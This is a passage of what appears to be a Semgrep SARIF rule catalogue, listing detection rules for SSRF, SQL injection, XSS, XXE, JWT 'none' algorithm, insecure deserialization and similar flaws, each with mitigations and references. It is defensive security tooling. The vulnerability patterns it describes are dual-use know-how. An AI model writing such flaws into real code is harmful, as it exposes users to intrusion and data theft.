input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","id":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","name":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"help":{"markdown":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","id":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","name":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell","id":"ruby.lang.security.dangerous-subshell.dangerous-subshell","name":"ruby.lang.security.dangerous-subshell.dangerous-subshell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-subshell.dangerous-subshell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"help":{"markdown":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","id":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","name":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.postgres-taint.postgres-taint","id":"rust.hyper.sql.postgres-taint.postgres-taint","name":"rust.hyper.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","id":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","name":"kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"help":{"markdown":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection)\n - [https://laravel.com/docs/8.x/queries](https://laravel.com/docs/8.x/queries)\n","text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection","id":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","name":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-sql-injection.laravel-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-scripting-xss)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md)\n","text":"Detected data rendered directly to the end user via 'response' This bypasses Laravel's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Laravel's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","id":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","name":"php.laravel.security.laravel-direct-response-write.laravel-direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-direct-response-write.laravel-direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","id":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","name":"php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-entity-loader.laravel-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"help":{"markdown":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone)\n - [https://pkg.go.dev/github.com/gorilla/sessions#Options](https://pkg.go.dev/github.com/gorilla/sessions#Options)\n","text":"Found SameSiteNoneMode setting in Gorilla session options. Consider setting SameSite to Lax, Strict or Default for enhanced security."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","id":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","name":"go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-samesitenone.session-cookie-samesitenone"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"help":{"markdown":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/subnet#map_public_ip_on_launch)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#concepts-public-addresses)\n","text":"Resources in the AWS subnet are assigned a public IP address. Resources should not be exposed on the public internet, but should have access limited to consumers required for the function of your application. Set `map_public_ip_on_launch` to false so that resources are not publicly-accessible."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","id":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","name":"terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-subnet-has-public-ip-address.aws-subnet-has-public-ip-address"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.xss.xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.xss.xss","id":"javascript.browser.xss.xss","name":"javascript.browser.xss.xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.xss.xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization)\n - [https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)\n","text":"Using a non-primitive class with Java RMI may be an insecure deserialization vulnerability. Depending on the underlying implementation. This object could be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","id":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","name":"java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-class-deserialization.server-dangerous-class-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-none-alg.jwt-none-alg","id":"javascript.jose.security.jwt-none-alg.jwt-none-alg","name":"javascript.jose.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","id":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","name":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg","id":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","name":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.jjwt.security.jwt-none-alg.jjwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - 